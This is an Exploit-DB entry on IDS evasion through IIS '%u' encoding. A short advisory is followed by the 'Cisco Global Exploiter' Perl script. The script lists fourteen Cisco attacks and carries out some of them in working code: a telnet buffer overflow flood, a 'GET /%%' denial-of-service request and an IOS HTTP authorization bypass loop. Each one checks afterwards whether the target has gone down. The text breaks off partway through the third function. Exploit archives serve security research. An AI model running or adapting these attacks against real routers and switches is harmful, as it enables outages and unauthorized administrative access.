Exploit-DB #21100
Description: Cisco Secure IDS 2.0/3.0 / Snort 1.x / ISS RealSecure 5/6 / NFR 5.0 - Encoded IIS Detection Evasion
Type: remote
Platform: multiple
Date: 2001-09-05
Author: blackangels

Exploit:
source: https://www.securityfocus.com/bid/3292/info

The Microsoft IIS web server supports a non-standard method of encoding web requests. Because this method is non-standard, intrusion detection systems may not detect attacks encoded using this method.

This vulnerability only affects intrusion detection systems in environments where '%u' unicode encoding is supported by a webserver (ie, IIS). If there is no webserver support for this encoding method or if it is disabled, there will be no targets to which encoded attacks can be sent.

**NOTE**: Only RealSecure, Dragon and Snort are confirmed vulnerable. It is highly likely that IDS systems from other vendors are vulnerable as well, however we have not recieved confirmation. This record will be updated as more information becomes available regarding affected technologies.

BlackICE products detect '%u' encoded requests as being invalid, but do not decode them and detect encoded attack signatures. 

#!/usr/bin/perl

##
# Cisco Global Exploiter
#
# Legal notes :
# The BlackAngels staff refuse all responsabilities
# for an incorrect or illegal use of this software
# or for eventual damages to others systems.
#
# http://www.blackangels.it
##



##
# Modules
##

use Socket;
use IO::Socket;


##
# Main
##

$host = "";
$expvuln = "";
$host = @ARGV[ 0 ];
$expvuln = @ARGV[ 1 ];

if ($host eq "") {
usage();
}
if ($expvuln eq "") {
usage();
}
if ($expvuln eq "1") {
cisco1();
}
elsif ($expvuln eq "2") {
cisco2();
}
elsif ($expvuln eq "3") {
cisco3();
}
elsif ($expvuln eq "4") {
cisco4();
}
elsif ($expvuln eq "5") {
cisco5();
}
elsif ($expvuln eq "6") {
cisco6();
}
elsif ($expvuln eq "7") {
cisco7();
}
elsif ($expvuln eq "8") {
cisco8();
}
elsif ($expvuln eq "9") {
cisco9();
}
elsif ($expvuln eq "10") {
cisco10();
}
elsif ($expvuln eq "11") {
cisco11();
}
elsif ($expvuln eq "12") {
cisco12();
}
elsif ($expvuln eq "13") {
cisco13();
}
elsif ($expvuln eq "14") {
cisco14();
}
else {
printf "\nInvalid vulnerability number ...\n\n";
exit(1);
}


##
# Functions
##

sub usage
{
  printf "\nUsage :\n";
  printf "perl cge.pl <target> <vulnerability number>\n\n";
  printf "Vulnerabilities list :\n";
  printf "[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability\n";
  printf "[2] - Cisco IOS Router Denial of Service Vulnerability\n";
  printf "[3] - Cisco IOS HTTP Auth Vulnerability\n";
  printf "[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability\n";
  printf "[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability\n";
  printf "[6] - Cisco 675 Web Administration Denial of Service Vulnerability\n";
  printf "[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability\n";
  printf "[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability\n";
  printf "[9] - Cisco 514 UDP Flood Denial of Service Vulnerability\n";
  printf "[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability\n";
  printf "[11] - Cisco Catalyst Memory Leak Vulnerability\n";
  printf "[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability\n";
  printf "[13] - %u Encoding IDS Bypass Vulnerability (UTF)\n";
  printf "[14] - Cisco IOS HTTP Denial of Service Vulnerability\n";
  exit(1);
}

sub cisco1 # Cisco 677/678 Telnet Buffer Overflow Vulnerability
{
  my $serv = $host;
  my $dch = "?????????????????a~ %%%%%XX%%%%%";
  my $num = 30000;
  my $string .= $dch x $num;
  my $shc="\015\012";

  my $sockd = IO::Socket::INET->new (
                                     Proto => "tcp",
                                     PeerAddr => $serv,
                                     PeerPort => "(23)",
                                     ) || die("No telnet server detected on $serv ...\n\n");

  $sockd->autoflush(1);
  print $sockd "$string". $shc;
  while (<$sockd>){ print }
  print("\nPacket sent ...\n");
  sleep(1);
  print("Now checking server's status ...\n");
  sleep(2);

  my $sockd2 = IO::Socket::INET->new (
                                      Proto => "tcp",
                                      PeerAddr => $serv,
                                      PeerPort => "(23)",
                                      ) || die("Vulnerability successful exploited. Target server is down ...\n\n");

  print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  close($sockd2);
  exit(1);
}

sub cisco2 # Cisco IOS Router Denial of Service Vulnerability
{
  my $serv = $host;

  my $sockd = IO::Socket::INET->new (
                                     Proto=>"tcp",
                                     PeerAddr=>$serv,
                                     PeerPort=>"http(80)",);
                                     unless ($sockd){die "No http server detected on $serv ...\n\n"};
  $sockd->autoflush(1);
  print $sockd "GET /\%\% HTTP/1.0\n\n";
  -close $sockd;
  print "Packet sent ...\n";
  sleep(1);
  print("Now checking server's status ...\n");
  sleep(2);

  my $sockd2 = IO::Socket::INET->new (
                                      Proto=>"tcp",
                                      PeerAddr=>$serv,
                                      PeerPort=>"http(80)",);
                                      unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};

  print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  close($sockd2);
  exit(1);
}

sub cisco3 # Cisco IOS HTTP Auth Vulnerability
{
  my $serv= $host;
  my $n=16;
  my $port=80;
  my $target = inet_aton($serv);
  my $fg = 0;

  LAB: while ($n<100) {
  my @results=exploit("GET /level/".$n."/exec/- HTTP/1.0\r\n\r\n");
  $n++;
  foreach $line (@results){
          $line=~ tr/A-Z/a-z/;
          if ($line =~ /http\/1\.0 401 unauthorized/) {$fg=1;}
          if ($line =~ /http\/1